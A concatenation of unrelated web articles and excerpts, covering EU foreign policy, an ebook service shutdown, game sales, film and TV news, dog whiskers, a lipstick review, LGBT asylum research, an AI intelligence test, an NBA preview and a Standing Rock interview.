There will be exceptions for people who live on one side of a national border and work the other. Any days on which the customer logs on to both their home network and a foreign network should not count against the 90-day limit for roaming.
EU policymakers need to rethink relations with Russia following the Ukraine crisis and Moscow’s success in breaking down Europe’s post-World War security order. This requires a careful evaluation of EU-Russia relations which goes beyond the current focus on sanctions but includes the EU’s reliance on Russian oil and gas and the over-arching need to ensure immediate and long-term stability on Europe’s eastern flank. A key question to reflect over is whether US-EU restrictive measures can be effective in a world where other countries – in Asia, Africa and Latin America – are ready and willing to move in to the much-coveted Russian market. Mogherini has previously raised eyebrows for allegedly being soft on Russia but she has since told Italy's Corriere della Sera that sanctions against Russia are necessary, adding at the European Parliament that Moscow is no longer an EU strategic partner. But even as sanctions are ratcheted up,is it in Europe’s interest to isolate Russia – and should it even try? More immediately, will an EU-Russia summit go ahead as planned later this year or is there an interest in trying to re-establish a constructive conversation with Russia again?
Events in Ukraine spotlight the failure of the EU’s goal of creating a “ring” of stable and well-governed states around its border and the glaring need to jettison the Neighbourhood Policy in favour of a less-exclusive and fresh strategy for a diverse region where none of the states are ready for EU membership and where the EU wields only limited influence given its modest financial resources and the increasing presence and funding possibilities from not just Russia but also China.
Europe’s quasi silence over the summer’s violent events in the Middle East has dented EU credibility in a region where it once enjoyed a certain degree of respect. The EU needs to regain its role as an important actor in any peace talks which follow the current Israel-Palestinian truce. While taking part in upcoming Gaza reconstruction talks, Mogherini and her team must also reflect on the long-term validity of a situation where EU-funded projects (the EU spends US$600m on Gaza territories each year) are regularly reduced to rubble by Israeli military intervention.
Even a more experienced foreign policy expert than Mogherini would find it difficult to hammer out an EU policy to stabilise Iraq and Syria in the face of the ruthless expansion of the “Islamic State”. Much will also depend on whether US President Obama is really as determined as he claims to be in leading a regional and international coalition to beat back the terrorists. European nations certainly have the military capabilities—such as the EU battle groups—to contribute to military actions together with the US. But there is no certainty that they will find the required political will – and public support - to take such steps. In any case, the EU needs to hammer out a medium to long-term strategy for political, humanitarian and financial efforts to stabilise the devastated region.
In addition – and in any case - the EU needs not only to avert any domestic terrorist threat posed by “foreign fighters” who return to Europe from the Middle-East but also enhance its knowledge of Islam, its different interpretations and variations, distinguishing not only - as hopefully they now do - between Shia and Sunni but also among the various, often quixotic and radical sects promoted by Saudi Arabia and Qatar. Mogherini’s thesis on Islamic politics should help her to spearhead such a reflection.
More importantly a closer dialogue is needed with Turkey. Ankara may have been accused of allowing foreign fighters easy transit routes to Syria but its knowledge of the region continues to be valuable. Encouraged by the recent erratic and often-authoritarian actions of now Turkish President Recep Tayyip Erdogan, the EU has let its relationship with Turkey fester for much too long. Even if membership negotiations remain erratic and certain European leaders send out contrary political messages, Europe must find a way to revitalise relations with this important country. A closer dialogue with Iran, once the nuclear issue is surmounted, will help. Indonesia, only now being considered an interesting partner for the EU, has arguable even more insights to offer.
The focus on the eastern and southern borders will not be enough. Europe’s hopes for being recognized as a valid and relevant global actor hinge on its relations with Asian nations, including China, India and Japan but also South Korea and the ten states in ASEAN (Association of Southeast Asian Nations). There is little the EU can do to directly tackle the so called “Asian paradox” whereby countries enmeshed in increasingly close economic networks are also embroiled in acrimonious territorial disputes. Mogherini would be well-advised to maintain strong EU ties with both Beijing and Tokyo while continuing to press for an easing of tensions between the two Asian giants. EU support for South Korean President Parks’s North East Asia peace and cooperation initiative (NEAPCI) to build trust in the region should be considered. Disputes over history as well as maritime claims have meant that no Trilateral summit between the three countries since 2012. Mogherini could try and encourage the opening of a purposeful dialogue among the three nations, allowing stability to return to an economically prosperous but politically fragile area.
Having injected new dynamism into its once lacklustre relationship with ASEAN over the last three years, the EU must not reduce its diplomatic and economic engagement with the region. This requires participation in all key ASEAN related events and a subtle but determined effort to become a member of the East Asia Summit, the region’s increasingly important dialogue forum. The EU already participates in many of the East Asia Summit’s activities through its cooperation with ASEAN in areas from economic and financial cooperation and environmental issues and disaster relief to education and research and technology.
We’ve made incredible progress towards that goal—the vast majority of reading on Oyster happens on a mobile phone and we’ve dramatically improved mobile reading with product features like Lumin and leading editorial content on the Oyster Review. Through it all, our mission has remained the same: connect readers with books they’ll love.
As we continue on, we couldn’t be more excited about the future of ebooks and mobile reading. We believe more than ever that the phone will be the primary reading device globally over the next decade—enabling access to knowledge and stories for billions of people worldwide.
Looking forward, we feel this is best seized by taking on new opportunities to fully realize our vision for ebooks. With that, we will be taking steps to sunset the existing Oyster service over the next several months. If you are an Oyster reader you will receive an email personally regarding your account. Rest assured, your account will continue to operate normally in the meantime. For further details please visit our FAQ.
We’re excited for what’s next, but for now we hope you continue to live the life well read with all of us at Oyster.
Onwards,
Eric, Andrew, Willem, and Team Oyster
Asked about features that developer Pocketwatch Games was forced to cut, Schatz mentioned modes called Cops and Robbers and Thief vs. Thief. According to Schatz, both modes were playable, but the developers found that they weren't well-balanced in the existing levels.
"We were going to have to build entirely new content tailored to them in order to make them feel at the same level of quality," he said. From Schatz's description, it sounds like Cops and Robbers was closer to release-worthy as a game type than Thief vs. Thief, although he noted, "There are some [interesting] challenges with both that we never fully figured out."
Pocketwatch tried a few different designs for Thief vs. Thief to keep it evenly balanced, but eventually decided that "there really wasn't enough interaction between players for it to feel fun," said Schatz. For Cops and Robbers, Pocketwatch discovered that adding a cop to the existing levels didn't work — it was too easy for the thieves to win in the early stages, and "almost impossible" in the later ones.
"When it worked, though, it was incredibly fun," said Schatz, who added that he hopes to release Cops and Robbers as downloadable content for Monaco at some point.
Schatz also said Monaco has already earned more than $1.2 million in its two and a half weeks on Steam. Approximately $200,000 of that came from direct pre-orders through the game's website, which was enough for Schatz to pay back the $100,000 investment that the Indie Fund put into the game. As it stands, Pocketwatch currently has between $600,000 and $700,000 left after Indie Fund's 10 percent cut of sales, and most of the people who worked on the game will also get a cut of the revenue.
"In the end, I'm far from rich, but certainly will be paid back for development and will have enough to make another game," said Schatz.
Los Angeles Times
“Foxcatcher,” Bennett Miller’s fact-based drama set against the world of Olympic wrestling, has pinned down a Nov. 14 release date, a clear indication Sony Pictures Classics is positioning the film as an awards-season contender.
Miller’s highly anticipated follow-up to “Moneyball” was originally slated for release last December but was ultimately pulled from that date to give Miller more time to finish the film.
“Foxcatcher” was also intended to debut at the AFI Fest last November but will now bow at the Cannes Film Festival next month.
The film stars Steve Carell as the eccentric chemical fortune heir John Du Pont, who infamously shot and killed wrestler Dave Schultz (Mark Ruffalo) in 1996 at the state-of-the-art Foxcatcher National Training Center, which Du Pont had built on his palatial estate near Philadelphia.
Gym has been a board member and past executive director of Asian Americans United, a Philadelphia Chinatown advocacy organization. She also co-founded an education newspaper and a citywide parent organization that worked to limit privatization and re-invest in Philadelphia’s public schools.
She was also named a White House Cesar Chavez Champion of Change in 2014, The Philadelphia Inquirer’s Citizen of the Year, and one of Philadelphia Magazine’s 75 most influential people in the city.
Gym spoke to NBC News about her new role and her plans for Philadelphia.
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How did you get started in politics?
For the last 25 years, I’ve worked alongside Philadelphia’s Asian-American and immigrant communities as a community organizer. For groups who don’t have an inside track to power, we have to organize to make change. For us, this boils down to visibility, voice, and driving narratives that not only tackle tough issues but engage the public consciousness. We’ve organized against state-sponsored predatory gambling, the state of our public schools, and for a community’s right to self-determination in its economic development plans. We’re constantly working to build a bigger vision, engage people on the ground, and change our circumstances. To me, this is the essence of what it means to be political.
In 2010, you came to national prominence around a federal civil rights case ending the harassment of Asian-American students in a Philadelphia high school. How have things improved since then?
This was a truly transformative effort. In 2009, the School District of Philadelphia turned a blind eye to relentless physical assaults against Asian-immigrant youth at a local high school. In response, we worked to organize the youth, who spoke out about their experiences and demanded restorative-justice practices and serious attention to bullying and harassment. We were able to win a new principal for the school, bring in new programs, start a student-led climate team, and establish new district policies preventing bullying and harassment.
"Our communities are clear that they want a city vision that focuses on transformational public spaces and lifting up our children and our neighborhoods."
The civil rights settlement between the school district and the U.S. Department of Justice eventually became the blueprint for an even stronger case in Minnesota involving LGBT youth.
But perhaps the most extraordinary change was the development of a new generation of Asian-American leaders from that struggle. Two of the student leaders now head up immigrant-youth-organizing groups in Philadelphia, and one was recently appointed to the city’s Commission on Human Relations. The former principal of the school was just named the deputy mayor for education in Philadelphia as well, and I’ll be headed to city council continuing to drive an education agenda.
Like cats and other animals, dogs have whiskers that stick out from the sides of their muzzle. Technically, they aren’t whiskers – they’re called vibrissae, which comes from a Latin word “vibrio” that means to vibrate. A dog’s whiskers are actually highly tuned, multi-functional, sensitive sensory hairs they need and use every day to perform specific functions that help them move around in their world.
Dog whiskers are found on both sides of their muzzle, as well as on the forehead above the eyes, on their chin and above the upper lip. As puppies grow, the whiskers are among the first hairs to develop. Unlike the neatly arranged 12 whiskers in four rows on each side of a cat’s face, dog whiskers are more varied in their pattern depending on their breed and genetics.
Whiskers are twice as thick and coarser than regular dog hair. Their roots are set three times deeper and packed with nerves and blood vessels that make each individual whisker a super sensitive receptor to movement. Air moving it or objects brushing against it causes the whisker to vibrate and stimulates the nerves. Dog whiskers are as sensitive as our fingertips. Whiskers play an important role in helping dogs understand and move through their environment.
The primary function of whiskers is to aid a dog’s vision, and they are often referred to as tactile hair. Whiskers pick up the slightest vibrations in the air, as well as subtle shifts in wind direction and speed. This alerts dogs to the presence of prey or ot her objects close by and tells them size, shape and if there’s any motion. Whiskers are why a dog can hunt in the dark and keep from crashing into furniture, falling down steps or bumping into walls as he walks around the house at night. Moving air currents cause the whiskers to vibrate and alert a dog to an obstacle or prey. When a dog is approaching something in his path, air is stirred up as he moves. When the air hits a wall, other surfaces or another animal, it bounces back and is picked up by the dog’s radar-like whiskers.
The vibrissae are also handy for finding small objects, like a tasty CANIDAE treat on the ground or a toy. Dog eyes can’t focus on objects up close, so information gathered from his whiskers helps him find, identify and pick up something that’s right under his nose.
Whiskers help dogs know if they can fit through a narrow opening or not. They are sensory receptors that help canines navigate. Dogs bred to go to ground need to know if a hole is big enough for them to crawl through. These receptors also give him information about obstacles that may be in the way and they also send information about the shape and size of a critter hiding in a den. Whiskers also help protect the face and eyes. When a dog brushes his whiskers against dirt, tall grass or anything else, it causes him to blink his eyes and avoid injury. The whiskers above his eyes lets him know if he’s too close to something and helps to keep him from getting poked in the eye.
Every now and then you might find a whisker that’s fallen out. It will grow back, but you should never try to pull a whisker out. You might run across a groomer who wants to cut your dog’s whiskers. However, it’s best not to trim the whiskers because that makes it more difficult for a dog to feel around his face and move with confidence. Because whiskers are very sensitive, pulling on them will cause your pet discomfort and stress. The importance of the whiskers is easier to understand when you consider the areas of the brain devoted to touch information. Almost 40% of those areas are dedicated to the regions where the whiskers are located. In fact, each individual whisker can be traced back to a specific location in the brain.
Think about your dog’s whiskers as tiny radar detectors that are so finely tuned they can help him detect a rabbit hiding under a bush or keep him from running face first into a wall. The superior hunting ability of canines is one reason why the human/dog partnership has been so successful, and his whiskers help him do the job he was bred to do.
Top photo by James Rickwood
Middle photo by jason044
Bottom photo by Rennett Stowe
The first season of Victoria follows the young monarch, played by Jenna Coleman (Doctor Who), from 1837 when she inherits the throne, through her courtship with Prince Albert (Tom Hughes).
Creator and screenwriter Daisy Goodwin has revealed some tantalizing second season details via a Twitter chat with RadioTimes: it’ll be set in the 1840s, by which point Victoria and Albert will be parents. She writes, “[I] hope to get through most of the Hungry Forties: a decade of revolution, famine and unrest, and for V much childbearing!” But fret not — we won’t see Albert’s demise quite yet. Goodwin also hinted that we may see even more of Victoria beyond the second season, writing, “I am afraid Her Majesty could outlast us all!”
David Oakes, who takes on the role of Prince Ernest, shared a snap of the Victoria reunion:
Goodwin came prepared, arriving at the reading with a Victoria sponge cake:
Let's my writing is better than my baking #victoriasponge pic.twitter.com/COK6L8gzK3 — Daisy Goodwin (@daisygoodwinuk) February 7, 2017
We recently indulged a little bit ourselves, imagining a fantasy TV-watching session with the young queen.
Full episodes of Victoria are currently available over at PBS.org and Amazon.com. The premiere date for season two has yet to be announced, but later this year we can look forward to a 90-minute Christmas special, airing in both the U.S. and U.K.
Student Alina Percea auctioned off her virginity to the highest bidder on a German website - but now she may lose half her earnings to taxes
Tax authorities in Germany are poised to claim 50 per cent of the money that a teenage student earned for 'auctioning' her virginity because they claim it was 'tantamount to prostitution'.
Romanian-born Alina Percea, who is a student in Germany, was paid £8,800 in cash for a weekend of sex with the Italian businessman after she auctioned her virginity online.
But tax officials in Berlin regard the 18-year-old's act as 'nothing more than prostitution'.
Prostitution is legal in Germany - but it is heavily taxed.
'It is not a moral standpoint but a fiscal one,' an official said. 'Prostitution is not an illegal act in Germany, but not paying tax on earned money is.
'Consequently we are assessing her case and it looks likely she will have to pay around half of the sum she gained.'
The Romanian-born computer studies student's visa allows her to work in Germany for 90 days - even as a prostitute.
One tax expert said: 'Even if she was taxed as a purveyor of erotic moments, or whatever she wants to call what she did, she would have to pay tax on it. Prostitution is merely a means for the bureaucrats to pin her down for a claim.
'She would have been better off keeping quiet about this strange transaction.'
It also emerged that, because Alina earned so much in such a short time, she may even be liable for a hefty VAT bill too.
VAT in Germany works out to 19 per cent, meaning the sale of her virginity could land her with just over £3,000 in the end.
'When we have hard figures then we can make an accurate assessment,' said a German inland revenue spokesman.
Alina, who studies in Mannheim, told how a 45-year-old Italian businessman took her virginity with unprotected sex at a luxury Venetian hotel.
'I liked the man and got on with him well. He didn't look 45, and he seemed much younger.
'We spoke in English as I can't speak Italian and he can't speak Romanian.
He paid me a lot of compliments throughout the day, and he was very funny and charming. We got on very well, and I was pleased he'd won,' said Alina.
'We kissed, then undressed each other. I'd never done that before, so I was nervous. He laid me on the bed and started kissing my body, then we had sex. I was attracted to him, so I enjoyed it, even though it was quite painful.
'We only had sex once, then fell asleep. Next morning, we had breakfast together like any other couple, and I took the morning-after pill. He told me he'd like to see me again, and I agreed.
'I hope to see the man again - and next time I won't make him pay,' she added.
Well I am back (after 2 weeks I know :P) with my Weekly Favorite! I’m not too sure about the rest of the country but its definitely heating up in Southern California. Forget Spring, it feels like Summer! I recently picked up this MAC Lustre Lipstick in Dreaming Dahlia during my last trip to the MAC counter. Dreaming Dahlia is a Limited Edition (LE) shade and is part of MAC’s Spring Collection: A Fantasy of Flowers. This product can be picked up for a limited time at $16.00USD at your local MAC counter or via the MAC website.
First Impressions:
Dreaming Dahlia is described by MAC as a “sheer red coral” via MAC Cosmetics. In reality is a sheer yellow based red-orange shade. It is literally the perfect shade for such a warm spring. When I first looked at it, I thought it was a complete copy of MAC’s Lady Danger, however when applied it is much different. The product is very sheer and has a little bit of shimmer to it, but its not in any way distracting or distasteful. It is a very easy wearing red lip.
Here’s my face of the day using Dreaming Dahlia paired with a light neutral smokey eye with a pop of gold from Lorac Pro.
Final Thoughts:
Like I said, this is a very yellow-based red orange shade. Since red shades are more tricky than a pink or mauve lip, I feel like it would look best with those with yellow based skin. However those with red based skin tend to neutralize that redness – with concealer and foundation, ect. – so really it will look great on anyone. Since it is a part of MAC’s Lustre line, it is very creamy and sheer making it resemble more of a highly pigmented balm and definitely not as intimidating as a full on legit red lip.
Pros:
The color, it is absolutely perfect!
Scent. This may just be my opinion, but I love the smell of MAC lipsticks. They have a very light Vanilla scent, that I think is in no way overpowering.
Packaging. Very sturdy and classic.
Sheer application.
Cons:
The shimmer. Makes it out to be a relative of MAC’s Frost line.
Not long wearing. Lasts for maybe 2 hours before needing to be touched up. Will not last through a meal.
The Math:
Dreaming Dahlia retails for $16.00USD and holds .1oz of product, translating to approximately $160.00USD per ounce. For comparison purposes similar products to Dreaming Dahlia include Tom Ford Sweet Spot and Too Faced Calypso Shimmer. Tom Ford’s Sweet Spot sells for $49.00USD from high end retailers including Nordstrom, and holds .01oz of product, translating to approximately $490.00USD per ounce. Too Faced Juicy Melons sells for $22.00USD at Sephora and holds .11oz of product, translating to approximately $200.00USD per ounce.
XO-
Over the past year Claire Bennett, a researcher at the University of Southampton, has interviewed a dozen gay women from socially conservative countries such as Pakistan, Saudi Arabia, Uganda and Jamaica to assess what their experience of applying for asylum has been like.
She found that the women were routinely subjected to “inappropriate and insensitive” questioning from tribunal judges in their bid to ascertain whether the women really were gay or at genuine risk of persecution.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
“I thought I was quite unshockable just in terms of how dehumanising criminalising the whole asylum process is,” Ms Bennett, who worked in refugee camps in Afghanistan and Cambodia before returning to Britain, told The Independent. “I was wrong.”
Her findings, which will be presented today to the British Sociological Association’s annual conference, will raise questions over what training immigration judges receive on dealing with lesbian, gay, bisexual and transgender (LGBT) applicants.
Many of the women complained that much of the questioning seemed to presume they led the same kind of gay lifestyles as someone might in the West, despite coming from deeply socially conservative cultures where heterosexual intercourse was rarely discussed publicly, let alone homosexual. The questioning also made stereotypical assumptions of what constitutes a typical gay lifestyle.
One woman from Jamaica was told by an immigration judge that he did not believe she was homosexual because “you don’t look like a lesbian”. Another lesbian asylum seeker from Pakistan was asked in court “If you are a lesbian you go to clubs – which ones?” despite her being a Muslim woman who did not drink. Her credibility as a lesbian was also questioned because she had not attended a Pride march and the immigration judge her that “all lesbians go to Pride”.
One woman from Uganda – where gay men and women are subjected to increasingly horrific, state-sponsored homophobic violence – said she was even asked whether she’d ever read Oscar Wilde.
“They have in their mind this stereotypical lesbian woman with short hair and no make-up, they just expect you to conform to what they believe a lesbian woman should be like and how they behave,” the woman, who is not named, told researchers. “They want all of us to have short hair and piercings, it’s really, really stereotypical, and they ask you what shows you watch?”
The Government has never released statistics from immigration tribunals on how many people each year apply for asylum claiming that they face persecution because of their sexuality. But it is believed by support groups that around 98 per cent of such claims are rejected first time around. The onus is on the asylum seeker to effectively prove that they are lesbian, something that is particularly difficult to do if they come from highly socially conservative societies.
Meanwhile immigration judges need to try to ask questions that can tease out whether someone really is gay or whether they are simply stating they are in order to make a bogus asylum claim. Most claimants are expected to provide some sort of evidence of a gay relationship or persecution. Although Border and Immigration Agency staff have specific guidelines to deal with LGBT asylum seekers, there is no equivalent advice for tribunal judges.
Of the 11 asylum seekers Ms Bennett interviewed, one gained asylum at the first decision, six gained asylum after several appeals, four are still going through the system. Ms Bennett believes her research illustrates the need for greater transparency from the immigration tribunals in how gay asylum seekers are treated and how judges come to the conclusions they do.
Using the example of one woman from Jamaica who was asked if she used sex toys, she explained: “Whether you do or don’t use sex toys tells you nothing about someone’s sexual orientation so why is that a legitimate question? It’s entirely inappropriate. For these women their sexuality wasn’t about sex toys or a favourite gay nightclub. We need much better statistics and much more transparency over how these decisions are made.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
In line with the predictions of science fiction, computers are getting smarter. Now, scientists are on the way to devising a test to ascertain how close Artificial Intelligence (AI) is coming to matching wits with us, and if it’s drawing ahead.
Associate Professor David Dowe of Monash University’s Faculty of Information Technology, together with Dr Jose Hernandez-Orallo from Universitat Politecnica de Valencia in Spain have developed and conducted initial trials of a prototype Anytime Universal Intelligence test designed to gauge and compare the intelligence of humans, animals, machines, and, in principle, anything.
Both humans and an AI program known as Q-Learning undertook different versions of the test, with considerable work on adapting the interface necessary before animals can be tested. Despite not being a sophisticated program, Q-Learning scored competitively compared with the human participants.
Associate Professor Dowe said the ambiguity of the initial test results indicates the complexity of moving to a broader understanding of intelligence than the traditional method of using human intellect as the yardstick – a development necessary to determine if, or perhaps when, AI outstrips humans.
“We are using a mathematically-based definition of intelligence which is based, in simple terms, on the ability to detect patterns of various degrees of complexity. In the future, the test should adapt to the user – becoming more complex if the user is scoring well, and more simple if the user is struggling,” said Associate Professor Dowe.
“Clearly, we have very specialised indications of the intelligence of computer programs, when they’re beating humans at activities like chess and the game show Jeopardy. We’re trying to establish a broader indication.
“With further research, this type of testing could help not only in assessing the progress of AI, but in driving development.”
Inspired partly by Foundation Chair in Computer Science at Monash University, Professor Chris Wallace’s research on Minimum Message Length, a theory of machine learning and statistics, Associate Professor Dowe has been working on alternatives to traditional measures of intelligence since the late 1990s. His projects have included the development of a relatively simple computer program that regularly scored close to the purported human average of 100 on standard IQ tests.
Associate Professor Dowe has been collaborating with Dr Hernandez-Orallo since 2003.
ADDED: Cole Aldrich (LA Clippers), Kris Dunn (Providence), Jordan Hill (Indiana), John Lucas (Piratas de Quebradillas), Toure Murry (Sioux Falls Skyforce) and Brandon Rush (Golden State).
GONE: Damjan Rudez, Tayshaun Prince and Greg Smith.
STRENGTHS: Best young nucleus in the NBA … A superstar in the making in Karl-Anthony Towns, who comes off one of the best rookie seasons in recent league history … He just brings the whole package … Wiggins has the potential to become one of the league’s top wing players … The Towns-Wiggins 1-2 punch could be a nightmare starting this year … Ultra athletic squad with Towns, Wiggins and Zach LaVine on the floor … Call them Lob City East … Ricky Rubio is a glue guy for this team … His defense and vision of the court are important assets for Minnesota … Should be a very interesting point guard duo with Rookie of the Year candidate Kris Dunn … Improved depth in the frontcourt with solid veterans like Jordan Hill and Cole Aldrich now in town … Tom Thibodeau maximizes talent – especially in the regular season … It’s going to be a culture of hard work … With Kevin Garnett around, you know the young guys will be held accountable.
WEAKNESSES: Towns and Wiggins combine for just 42 years … They have nine players born in the 90’s … Youth and inexperience will cost the Timberwolves wins … There’s no way around it … They are not going to scare teams from three-point range … Rubio and Wiggins combined for for 31.3 shooting from beyond the arc last season … No Timberwolf shot better than 39 percent from three in 2015-16 … Unless there’s been a lot of in-house improvement, outside shooting will remain a problem … Rubio’s jumper is broken (or his confidence is) and that allows opponents to put extra pressure on his teammates … Wolves have to cut down on the turnovers … With Thibs there, defense is going to improve, but they are starting from a very low point.
PREDICTION: 2nd in the Northwest Division, 5th in the Western Conference.
AMY GOODMAN: We turn now to continue to look at what’s happening. Are North Dakota authorities waging a war against the public’s right to know about the ongoing Standing Rock pipeline protests?
Earlier this month, two weeks ago, they charged documentary filmmaker Deia Schlosberg with three felonies for filming an act of civil disobedience, in which climate activists manually turned off the safety valves to stop the flow of tar sands oil through pipelines spanning the U.S. and Canada. These were separate actions from DAPL. The actions took place in Minnesota, Montana, North Dakota and Washington state. Schlosberg is an award-winning filmmaker, was producer of Josh Fox’s recent documentary, How to Let Go of the World and Love All the Things Climate Can’t Change. She was filming the action at a valve station owned by TransCanada in Walhalla, North Dakota, arrested along with activists, and her footage was confiscated. She was charged with a Class A felony and two Class C felonies, which combined carry a 45-year maximum sentence.
Meanwhile, on October 10th, at least 27 people, including Hollywood actress Shailene Woodley, were arrested blockading Dakota Access pipeline construction at two separate worksites. Footage of Woodley’s arrest was streamed live to roughly 40,000 viewers on her Facebook page.
POLICE OFFICER: Right now you’re being placed under arrest for criminal trespassing, all right?
SHAILENE WOODLEY: It’s because I have 40,000 people watching. So everybody knows we were going to our vehicle, which they had all surrounded and waiting for me with giant guns and the giant truck behind them, just so they could arrest me, so they knew this would happen. I hope you’re watching, mainstream media.
AMY GOODMAN: That was activist and actress Shailene Woodley being arrested for protesting the North Dakota Access pipeline. Shailene is known for The Divergent Series, for Fault in Our Stars. She’s just most recently the star of the Snowden film, called Snowden, about Edward Snowden. She also appeared in the TV series Secret Life of the American Teenager.
Shailene, can you talk about what happened to you? This was right after Indigenous Peoples’ Day, Columbus Day?
SHAILENE WOODLEY: This was on Indigenous Peoples’ Day. It was all—it was right after—so, I happened to be in town. I had been gone from Standing Rock for a month, and I had gotten back the night before Indigenous Peoples’ Day. And there was a sunrise ceremony, a sunrise prayer. Everyone woke up at 6:00 a.m. and gathered by the river to pray, which is how most days at Standing Rock start. So, all of this dialogue and these narratives about riots is so fascinating to me, when, you know, they’re—it’s so grounded in ceremony and in prayer. I can’t stress that enough. So everyone got up and prayed. And the night before, coincidentally, right after the presidential debate, when the whole world’s focus and attention was on Donald Trump and Hillary Clinton, the U.S. Court of Appeals decided to deny the injunction to halt construction of the pipeline. So, an action was spontaneously put into place, a peaceful action, that I participated in.
And we all went down to this certain area; I couldn’t give you the exact landmarks, because I had never been there before. And a few people had chosen—had done planned arrests to bring attention to the day and to the cause. I was not one of those people. I was participating in peaceful protest and peaceful protection for clean water, along with roughly 300 people, including my mother. And I was standing exactly how all the rest of these 300 people were standing, and doing what these other 300 people were doing, which was praying, which was chanting, which was singing. And after about two or three, four—my timing is off, but after quite a few hours of doing this, the—once the people who had chosen to be arrested were detained and sent safely away, we all left, because the cops were leaving, and so we all peacefully left.
And as I was pulling up, walking up to my RV in the back of the line of the protesters’ cars, so there weren’t a lot of people around—my mom was with me and a few friends—there was a—there was a group of cops waiting for me, as well as a tank was—a tank. I mean, a tank. I don’t know, like that’s so crazy to say there’s a tank, a war tank. And then there was like a SWAT car tank. And they were waiting there. And they grabbed my arm, and they asked if I was Shailene Woodley, and I said yes. And they told me to wait, and eventually they decided to come back and arrest me.
AMY GOODMAN: So, were you the only person, outside of those who were willing to get arrested—I mean, there were several hundred others like you who were there in support, but left when you were told to.
SHAILENE WOODLEY: Yes.
AMY GOODMAN: You were the only one who was arrested?
SHAILENE WOODLEY: Yes.
AMY GOODMAN: Did they say why?
SHAILENE WOODLEY: I mean, I was charged with criminally trespassing and with engaging in a riot. They didn’t say why. I made—I made a comment saying, “Is it because I’m Shailene Woodley, people maybe know who I am?” I was—like you mentioned, I was Facebook Live streaming while I was getting arrested, but also, before that, I had been live-streaming for two-plus hours and had over 40,000 people at that time, of my time of arrest, watching. But even prior to that, we—waxing and waning in and out of 30,000 to 50,000 people, give or take. So, it was creating a lot of momentum outside of Standing Rock.
And as we all know, there has been a media blackout about what’s going on. And it’s up to people like you, Amy—and you’re doing so bravely and so courageously—and people like us on the ground with our Facebook Live streams and these brave warriors out there, who are being arrested, to bring attention to this cause, because no one’s talking about it. And it’s time for that to stop. We do not—it is not acceptable that there are tanks in North Dakota facing elders and children and protectors of clean water. This is something that is a—this is a big issue, and we cannot—we cannot lay idle anymore about it.
AMY GOODMAN: Now, what happened next? You were brought to the Mandan jail?
SHAILENE WOODLEY: Morton County, yeah, Mandan jail. And then we were strip-searched and put in—
AMY GOODMAN: You were charged with these low-level misdemeanors, and you were strip-searched?
SHAILENE WOODLEY: Yeah, we—we were asked to. We had to get undressed in front of someone.
AMY GOODMAN: You were by yourself?
SHAILENE WOODLEY: By ourselves.
AMY GOODMAN: With the guard?
SHAILENE WOODLEY: Yeah, watching—and prove that we had nothing on or in our bodies. And then, from there, we were told to put on an orange jumpsuit, also while being watched, and then sat in a holding chamber with a group of other women.
AMY GOODMAN: So, you were—you were—
SHAILENE WOODLEY: I was—I was—I have to say, I was the first person who got released that day on bail. My mom happened to be there. And I think it freaked her out a lot. But there were a lot of women who I got to know in that chamber who had to stay overnight and spent a lot more time in jail than I did. And I think it’s really important and I think it’s beautiful that we talk about my arrest and we’re talking about Deia’s, but there are a lot of people out there who don’t have the support that I have because of my name. And we all need to be supporting them just as much as we’re paying attention to the issues that we’re here to talk about, because those are our brothers and our sisters on the line who are sacrificing so much of their livelihood in order to stand in solidarity with this movement.
AMY GOODMAN: You were not just—you didn’t just go in on that day, on Indigenous Peoples’ Day, Shailene. You’ve been going back to North Dakota now for many, many months. Why is the Dakota Access pipeline standoff so important to you? Why are you so concerned about this close to $4 billion pipeline being built?
SHAILENE WOODLEY: You know, there’s a lot of reasons to be aware of this pipeline. One is climate change. As we all know, every single time we allow another pipeline to be built or another fracking well to be built, we are endorsing the fossil fuel industry and only prolonging the time that it’s going to take to switch to renewable energy.
But something that’s really important about this movement, in particular, is the fact that it’s not only happening outside and on the Standing Rock Sioux Reservation, but indigenous people are at the forefront of this fight. And most of the time, indigenous people and marginalized communities are the first people affected by climate change and by the fossil fuel industry, because there’s a certain veil of silence that’s thrown over these communities when these pipelines go through. A lot of people don’t pay attention. You know, it’s like why 45 minutes south of L.A. there is the largest oil refinery west of the Mississippi, yet those people living in Beverly Hills and those of us in Santa Monica, we don’t know about it. Predominantly, if you just look at the different communities and the people who live there, you have to ask yourself: Is that coincidence, or is there a reason for that? And that’s what we’re seeing at Standing Rock.
You know, a lot of people don’t realize this, but for the first time in history—before colonization, Native American tribes, a lot of them were at war with one another and didn’t get along. And so, for the first time in history, these different bands, these different tribes, and non-Native allies are coming together to heal the past and to move forward in solidarity for future generations. And that’s really major. This is a historical moment. This will be in history books. Things are changing, and it’s because people are letting go of a lot of pain and a lot of suffering that has existed for so many years. And we cannot—it is our civic and civil responsibility, especially me as a non-Native, to recognize what my ancestors did to Native Americans in this country and what I refuse to let continue to happen to Native Americans in this country.
The reality star and former Olympic athlete attended the Trans Chorus of Los Angeles Saturday night when she was confronted by Ashlee Marie Preston, an activist and journalist.
"You're a f*cking fraud and a fake," Preston told Jenner in a cell phone video posted by TMZ.
In the video -- which Ashlee later posted to her Facebook -- she comes up to Caitlyn, who innocently goes in for a hug ... but then checks her and unleashes a tirade about what she claims is Caitlyn's continued support of Trump ... this 1 day after he officially authorized a trans ban in the military. Caitlyn remains stoic and still for most of the lecturing, as friends around her try to defuse the situation. But then she tells Ashlee ... "You don't know me," which sets Ashlee off even more. A little fact check ... Caitlyn isn't down with Trump anymore, despite recently being seen rocking his headgear. Still, Ashlee doesn't seem to appreciate Caitlyn's presence here at all. That much she makes clear.
Caitlyn tries to push back, but Preston stayed on the attack. "You continue to support somebody that does everything with the military to erase our community. It's really f*cked up that you continue to support him," she said.
Then Caitlyn asked: "Are you done?"
"No I'm not done," Preston said. "I'm not done. It's f*cking ridiculous. You're a f*cking fraud," she said.
It’s a sad fact of life when people can’t realize what's going on around them until it’s too late. People lose out on golden opportunities all the time: the person of their dreams, their favorite band in town or maybe just to simply capitalize on a chance they will never have again. Hindsight is twenty-twenty, intuition is infallible but the forest is still not visible from the trees. The point I’m driving at is that it’s easy for humans to make mistakes.
